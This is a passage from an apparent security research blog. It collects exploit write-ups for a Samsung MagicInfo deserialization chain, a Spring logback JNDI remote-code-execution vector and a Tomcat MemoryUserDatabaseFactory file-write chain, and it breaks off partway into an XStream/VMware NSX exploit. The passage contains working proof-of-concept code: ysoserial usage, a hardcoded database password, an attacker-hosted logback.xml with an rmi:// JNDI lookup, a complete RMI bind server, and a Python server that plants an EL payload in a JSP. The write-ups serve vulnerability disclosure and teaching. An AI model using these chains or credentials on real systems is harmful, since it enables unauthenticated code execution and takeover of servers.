What’s that? Deserialization of untrusted data? I’ll take it! Looks like com.samsung.magicinfo.protocol.repository.MORepository calls into the Deserializer class methods:

/*     */   private void loadModel(String model, Properties configProps) throws Exception {
/* 291 */     String motAttr = null;
/* 292 */     String mocAttr = null;
/* 293 */     String motValue = null;
/* 294 */     String mocValue = null;
/*     */     try {
/* 299 */       if (configProps != null) {
/* 300 */         motAttr = model + ".mot";
/* 301 */         mocAttr = model + ".moc";
/* 302 */         motValue = (String)configProps.get(motAttr);
/* 303 */         mocValue = (String)configProps.get(mocAttr);
/*     */       }
/* 306 */       else if (mofileBasePath != null) { // 1
/* 307 */         String motFName = model + "_MO_TREE.BIN"; // 2
/* 308 */         String mocFName = model + "_MO_CONSTRAINTS.BIN";
/* 309 */         motValue = mofileBasePath + File.separator + model + File.separator + motFName; // 3
/* 310 */         mocValue = mofileBasePath + File.separator + model + File.separator + mocFName;
/*     */       } else {
/* 313 */         logger.error("--------------------------------------------------");
/* 314 */         logger.error("MOTree load failed. model=" + model);
/* 315 */         logger.error("--------------------------------------------------");
/*     */         return;
/*     */       } 
/* 319 */       if (motValue != null && mocValue != null && !motValue.trim().equals("") && 
/* 320 */         !mocValue.trim().equals("")) {
/* 327 */         MOTree moTree = Deserializer.getMOTree(motValue); // 4
/* 329 */         MONodeConstraints moNodeConstraints = Deserializer.getMONodeConstraints(mocValue);
/* 332 */         MOCompiledFile moCompiledFile = new MOCompiledFile();
/* 333 */         moCompiledFile.moTree = moTree;
/* 334 */         moCompiledFile.moNodeConstraints = moNodeConstraints;
/* 336 */         moTreeMap.put(model, moCompiledFile);
/*     */       } 
/* 338 */     } catch (Exception e) {
/* 339 */       logger.error("--------------------------------------------------");
/* 340 */       logger.error("MOTree Loading of " + model + "Model Failed!!!");
/* 341 */       logger.error("--------------------------------------------------");
/*     */     } 
/*     */   }

At [1], if mofileBasePath is set, then the code flows to [2] and sets the motFName value with the model value. At [3] the path is built up and stored in motValue. Finally at [4] Deserializer.getMOTree is called with the path to the serialized file.

/*     */   private void loadSingleMOConfig() {
/*     */     try {
/* 378 */       if (CommonConfig.get("mo.files.upload.savepath") != null) {
/* 379 */         mofileBasePath = CommonConfig.get("mo.files.upload.savepath"); // 5
/*     */       }
/*     */       
/* 382 */       //...
/* 393 */     } catch (Exception ex) {
/* 394 */       logger.error("load SingleMO Config failed !!!", ex);
/*     */     } 
/*     */   }

At [5] the mofileBasePath is set from the C:/MagicInfo Premium/conf/config.properties file. The default value is mo.files.upload.savepath=C:/MagicInfo Premium/runtime/upload/mofiles. The default ftp root path is C:/MagicInfo Premium/runtime/upload. This is all coming together, finally!

steven@DESKTOP-DHOMH1S:~$ curl ftp://Xn-WG-Rq-5x-HW-Vl:05b574474312b0c6@192.168.18.136/mofiles/Default/
-rw-------   1 user group         1292 Jun 17  2024 AlarmInfo.xml
-rw-------   1 user group         1787 Jun 17  2024 BasicInfo.xml
-rw-------   1 user group         4032 Jun 17  2024 ConfInfo.xml
-rw-------   1 user group         2172 Jun 17  2024 Default_MO_CONSTRAINTS.BIN
-rw-------   1 user group         2773 Aug 12 22:04 Default_MO_TREE.BIN                          <--- we can target this file
-rw-------   1 user group        23013 Jun 17  2024 DeviceConfInfo.xml
-rw-------   1 user group        23892 Jun 17  2024 DisplayConfInfo.xml
-rw-------   1 user group         1415 Jun 17  2024 FaultInfo.xml
-rw-------   1 user group         1550 Jun 17  2024 LogInfo.xml
-rw-------   1 user group         3663 Jun 17  2024 MONITOR_MO.xml
-rw-------   1 user group         3001 Jun 17  2024 MONITOR_MO_SCHEMA.xsd
-rw-------   1 user group          994 Jun 17  2024 MONITOR_TYPE_SCHEMA.xsd
-rw-------   1 user group        11977 Jun 17  2024 MonitoringInfo.xml
-rw-------   1 user group         8724 Jun 17  2024 Operation.xml
-rw-------   1 user group         4846 Jun 17  2024 ScheduleInfo.xml

This code path is triggered when a new instance of MORepository is constructed or when the refresh method is called and this seems to only be triggered upon startup of the Spring application. To get code execution, the attacker can generate a Default_MO_TREE.BIN using java -jar ~/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 mspaint. Note though that they will need to adjust the pom.xml file to use commons-beanutils-1.9.3 and commons-collections-3.2 libs.

Elevation of Privilege

Keep in mind, all of these attacks can be done from a local context and result in elevation of privilege because an attacker can simply login to the database with the using hardcoded credentials magicinfo:midb2016! and inject their own valid ftp account and approve/provision it! Non-default settings? Admin accounts? …nah.

You might have to wait for the box to restart or for the admin to restart the service though.

Proof of Concept

You can download the poc here.

Wrap-up

Thanks for sticking around! If you made it this far without any memes, give yourself a pat on the back, after all this is 2026. You may notice some errors in the blog post, it’s my attempt to convince you that this wasn’t written by AI, hopefully that worked! Stick around for part 2 of this blog post series where I detail a pre-authenticated RCE vector that doesn’t require a reboot/restart of the MagicInfoPremium service!

Remote Code Execution with Spring Properties

Mon, 25 Nov 2024 22:00:00 +0000

Recently a past student came to me with a very interesting unauthenticated vulnerability in a Spring application that they were having a hard time exploiting. I managed to spend some time on this problem last weekend and came up with a relatively clean solution, although I would have preferred a more generic solution to exploiting Spring applications via this vector. Let’s dive in, shall we?

The Vulnerability

Since it’s not my bug and it’s not patched, I can only share the mock-up code but the bug looks something like this:

/*  152 */             MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
/*  153 */             MultipartFile multipart = multipartRequest.getFile("file");
/*  154 */             String fileName = multipart.getOriginalFilename(); // 1
/*  155 */             String fileExtension = FilenameUtils.getExtension(fileName); // 2
/*  156 */             if (!supportContentType(fileExtension)) { // 3
/*  157 */               throw new Exception("blah");
/*      */             }
/*  159 */             File file = new File(fileName);
/*  160 */             multipart.transferTo(file); // 4

The supportContentType call was a check that the filename had one of the following extensions:

/* 95 */ public static List<String> fexts = Arrays.asList(new String[] { "gif", "jpeg", "jpg", "png", "swf", "bmp", "asf", "avi", "mpeg", "mpg", "ts", "trp", "m2v", "m2p", "mp4", "m1v", "m4v", "m4t", "vob", "m2t", "tsp", "mov", "asx", "wmv", "tp", "doc", "docx", "ppt", "pptx", "xls", "xlsx", "htm", "html", "pps", "ppsx", "pdf", "mp3", "ogg", "wav", "wma", "mp2", "ac3", "pcm", "lpcm", "flv", "wmf", "emf", "tif", "tiff", "mid", "mkv", "ra", "rm", "ram", "rmvb", "3gp", "svi", "m2ts", "divx", "mts", "vro", "zip", "xml", "wgt", "aisr" });

If the extension is not on the allow list at [3], the code will throw and exception. However, if it’s on the allow list, then the code will proceed to write the uploaded file at [4]. At [1] the code just gets the filename, so we can’t use traversals here. Additionally, there no path is given, which means that by default, the service will write into the base directory of the tomcat server: C:\[redacted]\tomcat\bin.

Exploitation Approach

Inspired by a good friend who abused a jailed file write for an unauthenticated remote code execution, I was ready to dive in. Having never really exploited such tight restrictions in relation to file uploads, I was curious on how one might approach this type of bug. On the surface, this seems like it isn’t exploitable because we have a limited file write. We can’t control the location of the write and we have an allow list of extensions that don’t seem interesting… or do they?

The two extensions that stood out to me was .zip and .xml. Tomcat loves to process xml files, let’s try this first. After studying the tomcat9.exe process for a bit, I noticed that it attempts to load a non-existent file: application.xml.

When I placed an invalid xml file in the directory I saw a stack-trace where it was trying to load the file using the class ConfigFileApplicationListener. According to this blog post the Listener attempts to load application configuration files from the following extensions in the following order:

properties
xml
yml
yaml

This was matching to exactly what I saw in Process Monitor. What’s interesting is that the xml extension is hardly documented but a quick google search leads me to the official Spring Common Application Properties documentation. There are several properties but the one that stood out to me quite quickly was the logging.config. This was used by the org.springframework.boot.context.logging.LoggingApplicationListener class. Studying the class, we find the following code:

/*     */   public void onApplicationEvent(ApplicationEvent event) {
/* 219 */     if (event instanceof ApplicationStartingEvent) {
/* 220 */       onApplicationStartingEvent((ApplicationStartingEvent)event);
/*     */     }
/* 222 */     else if (event instanceof ApplicationEnvironmentPreparedEvent) {
/* 223 */       onApplicationEnvironmentPreparedEvent((ApplicationEnvironmentPreparedEvent)event); // 1
/*     */     }
/* 225 */     else if (event instanceof ApplicationPreparedEvent) {
/* 226 */       onApplicationPreparedEvent((ApplicationPreparedEvent)event);
/*     */     }
/* 228 */     else if (event instanceof ContextClosedEvent && ((ContextClosedEvent)event)
/* 229 */       .getApplicationContext().getParent() == null) {
/* 230 */       onContextClosedEvent();
/*     */     }
/* 232 */     else if (event instanceof org.springframework.boot.context.event.ApplicationFailedEvent) {
/* 233 */       onApplicationFailedEvent();
/*     */     } 
/*     */   }

At [1] the onApplicationEvent calls the onApplicationEnvironmentPreparedEvent method:

/*     */   private void onApplicationEnvironmentPreparedEvent(ApplicationEnvironmentPreparedEvent event) {
/* 243 */     if (this.loggingSystem == null) {
/* 244 */       this.loggingSystem = LoggingSystem.get(event.getSpringApplication().getClassLoader());
/*     */     }
/* 246 */     initialize(event.getEnvironment(),  event.getSpringApplication().getClassLoader()); // 2
/*     */   }

At [2] the initialize method is called with the environment as the first argument:

/*     */   protected void initialize(ConfigurableEnvironment environment, ClassLoader classLoader) {
/* 281 */     (new LoggingSystemProperties(environment)).apply();
/* 282 */     this.logFile = LogFile.get(environment);
/* 283 */     if (this.logFile != null) {
/* 284 */       this.logFile.applyToSystemProperties();
/*     */     }
/* 286 */     this.loggerGroups = new LoggerGroups(DEFAULT_GROUP_LOGGERS);
/* 287 */     initializeEarlyLoggingLevel(environment);
/* 288 */     initializeSystem(environment, this.loggingSystem, this.logFile); // 3
/* 289 */     initializeFinalLoggingLevels(environment, this.loggingSystem);
/* 290 */     registerShutdownHookIfNecessary(environment, this.loggingSystem);
/*     */   }

At [3] the initializeSystem is called with the environment. Remember, we can set properties on the environment with the vulnerability at hand.

/*     */   private void initializeSystem(ConfigurableEnvironment environment, LoggingSystem system, LogFile logFile) {
/* 310 */     LoggingInitializationContext initializationContext = new LoggingInitializationContext(environment);
/* 311 */     String logConfig = environment.getProperty("logging.config"); // 4
/* 312 */     if (ignoreLogConfig(logConfig)) {
/* 313 */       system.initialize(initializationContext, null, logFile);
/*     */     } else {
/*     */       
/*     */       try {
/* 317 */         ResourceUtils.getURL(logConfig).openStream().close();
/* 318 */         system.initialize(initializationContext, logConfig, logFile); // 5
/*     */       }
/* 320 */       catch (Exception ex) {
/*     */         
/* 322 */         System.err.println("Logging system failed to initialize using configuration from '" + logConfig + "'");
/* 323 */         ex.printStackTrace(System.err);
/* 324 */         throw new IllegalStateException(ex);
/*     */       } 
/*     */     } 
/*     */   }

At [4] the code will grab the property logging.config from the environment and parse it to a call to initialize on the org.springframework.boot.logging.logback.LogbackLoggingSystem class at [5].

/*     */   public void initialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/* 109 */     LoggerContext loggerContext = getLoggerContext();
/* 110 */     if (isAlreadyInitialized(loggerContext)) {
/*     */       return;
/*     */     }
/* 113 */     super.initialize(initializationContext, configLocation, logFile); // 6
/* 114 */     loggerContext.getTurboFilterList().remove(FILTER);
/* 115 */     markAsInitialized(loggerContext);
/* 116 */     if (StringUtils.hasText(System.getProperty("logback.configurationFile"))) {
/* 117 */       getLogger(LogbackLoggingSystem.class.getName()).warn("Ignoring 'logback.configurationFile' system property. Please use 'logging.config' instead.");
/*     */     }
/*     */   }

At [6] the code will call super.initialize with the attacker controlled property. This will flow to a parent class: org.springframework.boot.logging.AbstractLoggingSystem:

/*     */   public void initialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/*  55 */     if (StringUtils.hasLength(configLocation)) {
/*  56 */       initializeWithSpecificConfig(initializationContext, configLocation, logFile); // 7
/*     */       return;
/*     */     } 
/*  59 */     initializeWithConventions(initializationContext, logFile);
/*     */   }

/*     */   private void initializeWithSpecificConfig(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/*  64 */     configLocation = SystemPropertyUtils.resolvePlaceholders(configLocation);
/*  65 */     loadConfiguration(initializationContext, configLocation, logFile); // 8
/*     */   }

At [7] the flow continues to initializeWithSpecificConfig and then to loadConfiguration at [8]. Since loadConfiguration isn’t defined in the parent class it will flow back to the child class org.springframework.boot.logging.logback.LogbackLoggingSystem:

/*     */   protected void loadConfiguration(LoggingInitializationContext initializationContext, String location, LogFile logFile) {
/* 136 */     super.loadConfiguration(initializationContext, location, logFile);
/* 137 */     LoggerContext loggerContext = getLoggerContext();
/* 138 */     stopAndReset(loggerContext);
/*     */     try {
/* 140 */       configureByResourceUrl(initializationContext, loggerContext, ResourceUtils.getURL(location)); // 9
/*     */     }
/* 142 */     catch (Exception ex) {
/* 143 */       throw new IllegalStateException("Could not initialize Logback logging from " + location, ex);
/*     */     } 
/* 145 */     List<Status> statuses = loggerContext.getStatusManager().getCopyOfStatusList();
/* 146 */     StringBuilder errors = new StringBuilder();
/* 147 */     for (Status status : statuses) {
/* 148 */       if (status.getLevel() == 2) {
/* 149 */         errors.append((errors.length() > 0) ? String.format("%n", new Object[0]) : "");
/* 150 */         errors.append(status.toString());
/*     */       } 
/*     */     } 
/* 153 */     if (errors.length() > 0) {
/* 154 */       throw new IllegalStateException(String.format("Logback configuration error detected: %n%s", new Object[] { errors }));
/*     */     }
/*     */   }
/*     */ 
/*     */   
/*     */   private void configureByResourceUrl(LoggingInitializationContext initializationContext, LoggerContext loggerContext, URL url) throws JoranException {
/* 160 */     if (url.toString().endsWith("xml")) {
/* 161 */       JoranConfigurator configurator = new SpringBootJoranConfigurator(initializationContext);
/* 162 */       configurator.setContext(loggerContext);
/* 163 */       configurator.doConfigure(url); // 10
/*     */     } else {
/*     */       
/* 166 */       (new ContextInitializer(loggerContext)).configureByResource(url);
/*     */     } 
/*     */   }

Following the flow of the location argument which is controlled by the attacker, we can reach configureByResourceUrl at [9] with the location converted to a URL. Finally, at [10] we can see that the (in)famous JoranConfigurator initialized and then finally a call to doConfigure.

Those that have attended my class probably know where this is going. We can use a logback.xml URL to reconfigure the log-back library. The final proof of concept application.xml looks like this:

<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
    <entry key="logging.config">http://[attacker]:[port]/logback.xml</entry>
</properties>

and the corresponding log-back file which may look familiar to some:

<configuration>
  <insertFromJNDI env-entry-name="rmi://[attacker]:1099/Object" as="appName" />
</configuration>

The stars were aligned here, we found a way to restart the server remotely using one of the exposed REST API’s and of course ELProcessor was included in the class path. The result:

Concluding thoughts

There are likely many other ways to gain remote code execution here such as defining log file paths and other vectors. I didn’t have a lot of time to look at this and I just went with the first approach that worked. I encourage other researchers to dive into the Spring framework and find other Listeners using environment properties and find other vectors for exploitation! There are other vectors for code injection using log-back, such as JDBC (taught in class) and (ab)using the un-marshaller directly. But that is an exercise for the reading researcher.

References

https://juejin.cn/post/6972564484720328718

JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory

Sun, 21 Jul 2024 14:00:00 +0000

In this blog post, I’m going to describe a ~~relative new~~ vector to achieve remote code execution via a JNDI Injection that I found independently to other researchers. The concept of exploiting an object lookup process for a JNDI injection is nothing new. If you are unfamiliar with this, I invite you to read this excellent blog post written by Michael Stepankin.

I decided to retire some of the content from Full Stack Web Attack, so if you enjoy this level of Java (and/or C#) analysis, feel free to sign up to my next class which will be held in Rome.

MemoryUserDatabaseFactory

When exploring types that implement from ObjectFactory I found an interesting class called org.apache.catalina.users.MemoryUserDatabaseFactory. This is within the tomcat-catalina library and is the same library that contains the (in)famous org.apache.naming.factory.BeanFactory. The importance of this will become apparent later.

Let’s start at the getObjectInstance inside of the MemoryUserDatabaseFactory class.

/*     */   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
/*     */     ...
/*  81 */     Reference ref = (Reference)obj;
/*     */     ...
/*  88 */     MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
/*  89 */     RefAddr ra = null;
/*     */     
/*  91 */     ra = ref.get("pathname"); // 1
/*  92 */     if (ra != null) {
/*  93 */       database.setPathname(ra.getContent().toString());
/*     */     }
/*     */     
/*  96 */     ra = ref.get("readonly"); // 2
/*  97 */     if (ra != null) {
/*  98 */       database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
/*     */     }
/*     */     ...
/* 107 */     database.open(); // 3
/*     */     
/* 109 */     if (!database.getReadonly()) // 6
/* 110 */       database.save(); // 7
/* 111 */     return database;
/*     */   }

Some interesting code stands out here, at [1] we can see that an attacker can control the pathname property on the MemoryUserDatabase instance.

At [2] an attacker can also disable the readonly setting as well. But the interesting code appears at [3] with the call to open on the database instance. Let’s check it out:

/*     */   public void open() {
/* 418 */     this.writeLock.lock();
/*     */     
/*     */     try {
/*     */       ...
/* 425 */       String pathName = getPathname(); // 4
/* 426 */       try (ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName)) {
/*     */         ...
/* 430 */         digester = new Digester();
/*     */         try {
/* 432 */           digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
/*     */         }
/* 434 */         catch (Exception e) {
/* 435 */           log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
/*     */         } 
/* 437 */         digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
/*     */         
/* 439 */         digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
/*     */         
/* 441 */         digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
/*     */ 
/*     */ 
/*     */         
/* 445 */         digester.parse(resource.getInputStream()); // 5
/* 446 */       } catch (IOException ioe) {
/* 447 */         log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[] { pathName }));
/* 448 */       } catch (Exception e) {
/*     */         ...
/*     */       } 
/*     */     } finally {
/* 456 */       this.writeLock.unlock();
/*     */     } 
/*     */   }

At [4] the code uses the attacker controlled pathname to download a file from remote and parse the file at [5]. This of course leads to an external entity injection (but I digress!). The important point to make here is that an attacker can set the users, groups or roles variables using properties from within an XML file. This is just standard tomcat-users.xml:

<tomcat-users>
    <role rolename="admin" />
</tomcat-users>

The above XML will add the role “admin” to the roles Map inside of the MemoryUserDatabase instance. Returning back to getObjectInstance, if the attacker disables read-only at [6] then they can reach save at [7].

/*     */   public void save() { 
/*     */     ... 
/* 555 */     if (!isWriteable()) { // 8
/* 556 */       log.warn(sm.getString("memoryUserDatabase.notPersistable"));
/*     */       
/*     */       return;
/*     */     } 
/*     */     
/* 561 */     File fileNew = new File(this.pathnameNew); // 9
/* 562 */     if (!fileNew.isAbsolute()) {
/* 563 */       fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
/*     */     }
/*     */     
/* 566 */     this.writeLock.lock();
/*     */     try {
/* 568 */       try(FileOutputStream fos = new FileOutputStream(fileNew); 
/* 569 */           OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8); 
/* 570 */           PrintWriter writer = new PrintWriter(osw)) {
/*     */ 
/*     */         
/* 573 */         writer.println("<?xml version='1.0' encoding='utf-8'?>");
/* 574 */         writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
/* 575 */         writer.print("              ");
/* 576 */         writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
/* 577 */         writer.print("              ");
/* 578 */         writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
/* 579 */         writer.println("              version=\"1.0\">");
/*     */ 
/*     */         
/* 582 */         values = null;
/* 583 */         values = getRoles();
/* 584 */         while (values.hasNext()) {
/* 585 */           writer.print("  ");
/* 586 */           writer.println(values.next()); // 10
/*     */         } 
/* 588 */         values = getGroups();
/* 589 */         while (values.hasNext()) {
/* 590 */           writer.print("  ");
/* 591 */           writer.println(values.next());
/*     */         } 
/* 593 */         values = getUsers();
/* 594 */         while (values.hasNext()) {
/* 595 */           writer.print("  ");
/* 596 */           writer.println(((MemoryUser)values.next()).toXml());
/*     */         } 
/*     */       ...
/* 607 */       } catch (IOException e) {
/*     */           ...
/*     */       } 
/* 613 */       this.lastModified = fileNew.lastModified();
/*     */     } finally {
/* 615 */       this.writeLock.unlock();
/*     */     } 
/*     */     ...
/* 626 */     File fileOrig = new File(this.pathname);
/*     */     ...
/* 636 */     if (!fileNew.renameTo(fileOrig)) { // 11
/* 637 */       if (fileOld.exists() && 
/* 638 */         !fileOld.renameTo(fileOrig)) {
/* 639 */         log.warn(sm.getString("memoryUserDatabase.restoreOrig", new Object[] { fileOld }));
/*     */       }
/*     */       
/* 642 */       throw new IOException(sm.getString("memoryUserDatabase.renameNew", new Object[] { fileOrig
/* 643 */               .getAbsolutePath() }));
/*     */     } 
/* 645 */     if (fileOld.exists() && !fileOld.delete()) {
/* 646 */       throw new IOException(sm.getString("memoryUserDatabase.fileDelete", new Object[] { fileOld }));
/*     */     }
/*     */   }

At [8] the code calls isWriteable:

/*     */   public boolean isWriteable() {
/* 532 */     File file = new File(this.pathname);
/* 533 */     if (!file.isAbsolute()) {
/* 534 */       file = new File(System.getProperty("catalina.base"), this.pathname);
/*     */     }
/* 536 */     File dir = file.getParentFile();
/* 537 */     return (dir.exists() && dir.isDirectory() && dir.canWrite());
/*     */   }

This code will return true if the path supplied exists and is a directory and finally, if it’s writeable. But how would an attacker achieve this if they used a remote URI such as: http://attacker.tld/tomcat-users.xml?

Let’s take a closer look at getParentFile. Running the following code…

File file = new File("http://attacker.tld/../../tomcat-users.xml");
File dir = file.getParentFile();
System.out.println("getParentFile result: " + dir);
System.out.println("exists: " + dir.exists());
System.out.println("isDirectory: " + dir.isDirectory());
System.out.println("canWrite: " + dir.canWrite());
System.out.println("isAbsolute: " + file.isAbsolute());

Results in:

getParentFile result: http:/attacker.tld/../..
exists: false
isDirectory: false
canWrite: false
isAbsolute: false

The interesting thing here is that getParentFile escapes the single slash (/) at http and then says the directory doesn’t exist. If we create the directories http:/attacker.tld in the current working directory, we get:

getParentFile result: http:/attacker.tld/../..
exists: true
isDirectory: true
canWrite: true
isAbsolute: false

So, if an attacker has an arbitrary directory creation primitive, then they can pass this check! Once an attacker has passed the check, they are able to reach [9] which creates the controlled filename with the .new extension added to the end. At [10] the attacker controlled write occurs and at [11], the file is renamed to the original name, chomping the .new extension.

Since it’s possible for an attacker to bypass the isWriteable check, they can leverage this to achieve an arbitrary file write which can lead to remote code execution.

Bypassing isWriteable

Since BeanFactory is within the same library we can call any single string argument method on a Java bean. I found one such bean class in the Apache Velocity library that will allow an arbitrary directory to be created: org.apache.velocity.texen.util.FileUtil

/*    */ public class FileUtil
/*    */ {
/*    */   public static String mkdir(String s) {
/*    */     try {
/* 43 */       if ((new File(s)).mkdirs()) {
/* 44 */         return "Created dir: " + s;
/*    */       }
/* 46 */       return "Failed to create dir or dir already exists: " + s;
/*    */     }
/* 48 */     catch (Exception e) {
/*    */       
/* 50 */       return e.toString();
/*    */     } 
/*    */   }

An attacker of course, can use any other method to create an arbitrary directory or possibly any other library that contains a similar bean.

Proof of Concept

Two objects are bound to an RMI server. The first will create the directory path required and the second will walk the path to a location on where the attacker wants to place their file. In a real attack, these paths will need to be adjusted.

package com.src.incite.jndi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
import com.sun.jndi.rmi.registry.*;

public class ObjectFactoryServer {
    public static void main(String[] args) throws Exception {
        System.out.println("(+) creating RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);
        // for folder creation
        ResourceRef ref1 = new ResourceRef("org.apache.velocity.texen.util.FileUtil", null, "", "", true, "org.apache.naming.factory.BeanFactory",null);
        ref1.add(new StringRefAddr("forceString", "x=mkdir"));
        ref1.add(new StringRefAddr("x", "http:/127.0.0.1:1337/"));
        
        // for a file write
        ResourceRef ref2 = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory",null);
        ref2.add(new StringRefAddr("readonly", "false"));
        ref2.add(new StringRefAddr("pathname", "http://127.0.0.1:1337/../../../../some/path/to/apache-tomcat-9.0.65/webapps/ROOT/poc.jsp"));
        
        registry.bind("Dir", new ReferenceWrapper(ref1));
        registry.bind("Rce", new ReferenceWrapper(ref2));
    }
}

But of course, what is the attacker going to write? It turns out that they can’t use double quotes or angle brackets due to XML node parsing in the Digester class. The attacker can, of course, side step that problem by using expression language if they were to write a JSP file.

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

class el(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.lower().strip().endswith('/poc.jsp'):
            print("(+) request recieved: %s" % self.path)
            message = """<tomcat-users>
    <role rolename="${Runtime.getRuntime().exec('gnome-calculator')}" />
</tomcat-users>"""
            self.send_response(200)
            self.end_headers()
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        return

if __name__ == '__main__':
    HTTPServer(('0.0.0.0', 1337), el).serve_forever()

For a JNDI client to be vulnerable, the following libraries are required (versions shouldn’t matter):

tomcat-catalina-9.0.24.jar
tomcat-juli-10.0.23.jar
tomcat-util-10.0.23.jar
tomcat-util-scan-10.0.23.jar
velocity-1.7.jar

The vulnerable application would need to have a writeable current working directory by the process owner and an attacker would also need to trigger the JNDI injection twice. The attack should work on either windows or unix based systems since getParentFile escapes the forward slash and in both cases a path can be constructed from forward slashes.

new InitialContext().lookup("rmi://127.0.0.1:1099/Dir");
new InitialContext().lookup("rmi://127.0.0.1:1099/Rce");

Conclusion

Even though it appears that several dependencies are required, I’m confident that we can reduce this by finding other directory creation vectors, or other routes to chain the attack together. For example, if you had an arbitrary directory creation primitive already you can remove the velocity dependency. Also, several libraries tend to be grouped, packaged and deployed together so where you see tomcat catalina libraries, you will certainly find tomcat util libraries.

This gives a nice alternative to the typical BeanFactory + ELProcessor/GroovyShell combo which maybe required when ELProcessor or GroovyShell are not available but it does require JSP execution in the target context.

References

https://github.com/veracode-research/rogue-jndi/

Eat What You Kill :: Pre-authenticated Remote Code Execution in VMWare NSX Manager

Tue, 25 Oct 2022 14:00:00 +0000

This blog post was authored by Sina Kheirkhah. Sina is a past student of the Full Stack Web Attack class.

VMWare NSX Manager is vulnerable to a pre-authenticated remote code execution vulnerability and at the time of writing, ~~will not be patched due to EOL~~ this was patched in VMSA-2022-0027. The following blog is a collaboration between myself and the Steven Seeley who has helped me tremendously along the way.

Before we begin with the vulnerability, let’s have an overview of XStream.

XStream is a set of concise and easy-to-use open-source class libraries for marshalling Java objects into XML or unmarshalling XML into Java objects. It is a two-way converter between Java objects and XML.

Serialization:

XStream XS = new XStream();
Person person = new Person();
person.setName("sinsinology");

System.out.println(XS.toXML(person));

<Person.Person>
  <Name>sinsinology</Name>
</Person.Person>

Deserialization:

XStream XS = new XStream();
Person imported = (Person) XS.fromXML(
                "<Person.Person>\n" +
                "  <Name>sinsinology</Name>\n" +
                "</Person.Person>\n");

System.out.println(imported.getName()); // sinsinology

XStream uses Java reflection to translate the Person type to and from XML.

XStream also understands the concept of Alias, this worth remembering

XStream XS = new XStream();
XS.alias("srcincite", Person.class);
Person imported = (Person) XS.fromXML(
                "<srcincite>\n" +
                "  <Name>mr_me</Name>\n" +
                "</srcincite>\n");

System.out.println(imported.getName()); // mr_me

In addition to user-defined types like Person, XStream recognizes core Java types out of the box. For example, XStream can read a Map from XML:

String xml = "" 
    + "<map>" 
    + "  <element>" 
    + "    <string>foo</string>" 
    + "    <int>10</int>" 
    + "  </element>" 
    + "</map>";
XStream xStream = new XStream();

Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);

What makes XStream Lovely

If you haven’t noticed so far with the Person example, XStream has an awesome feature and that is, when it unmarshalls an object, it doesn’t need the object to implement the Serializable interface. This is one of the core differences between marshallers and serializers. This greatly facilitates injection attacks increasing the number of ways which you can exploit XStream, not depending only on classes which implement Serializable.

There is a catch though. Assume you want to have the below payload unmarshalled:

new ProcessBuilder().command("calc").start();

You can instantiate the ProcessBuilder and set the command for it, but it’s not possible to invoke the start method because when marshalling the XML, XStream only invokes constructors and sets fields. Therefore, the attacker doesn’t have a straightforward way to invoke the arbitrary methods unless they are setters.

Dynamic Proxies

Dynamic proxies are a design pattern in Java which provides a proxy for a certain object, and the proxy object controls the access to the real object. The proxy class is mainly responsible for pre-processing the message for the proxied class (real object), filtering the message, and then passing the message to the proxied class, and finally return the post-processed message. In a nutshell a proxy class will complete a call by calling the proxied class and encapsulating the execution result.

Accessing the target object through a Proxy is very powerful since you can redirect execution from an undesired method call to a targeted method call without modifying any code. Simply put, proxies are fronts or wrappers that pass function invocation through their own facilities (onto real methods) – potentially adding some functionality.

Great thing about dynamic proxy is it can pretend to be an implementation of any interface and it routes all method invocations to a single handler which is the invoke() method

Now proxies in java can get divided into static and dynamic but for now, we just need to know about the dynamic proxy. In order to start using dynamic proxies in Java we’ll need to implement the InvocationHandler interface. The class that implements InvocationHandler will contain the custom code which will do the pre-processing before proxying a call to the target object.

package src.incite;

import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;

class ProxyHandler implements InvocationHandler {
    private Object obj;
    public ProxyHandler(Object obj) {
        this.obj = obj;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = method.invoke(obj, args);
        System.out.println(String.format("[PROXY] The %s method got invoked", method.getName() ));
        return result;
    }
}

public class Test {
    public static void main(String[] args) throws Exception {
        @SuppressWarnings("unchecked")
        Map<String, Integer> colors = (Map<String, Integer>)Proxy.newProxyInstance(
                Test.class.getClassLoader(),
                new Class[] {Map.class},
                new ProxyHandler(new HashMap<>())
        );
        colors.put("one", 1);
        colors.put("two", 2);
        colors.put("three", 3);
    }
}

Output…

[PROXY] The put method got invoked
[PROXY] The put method got invoked
[PROXY] The put method got invoked

Let’s take a closer look at the invoke method signature:

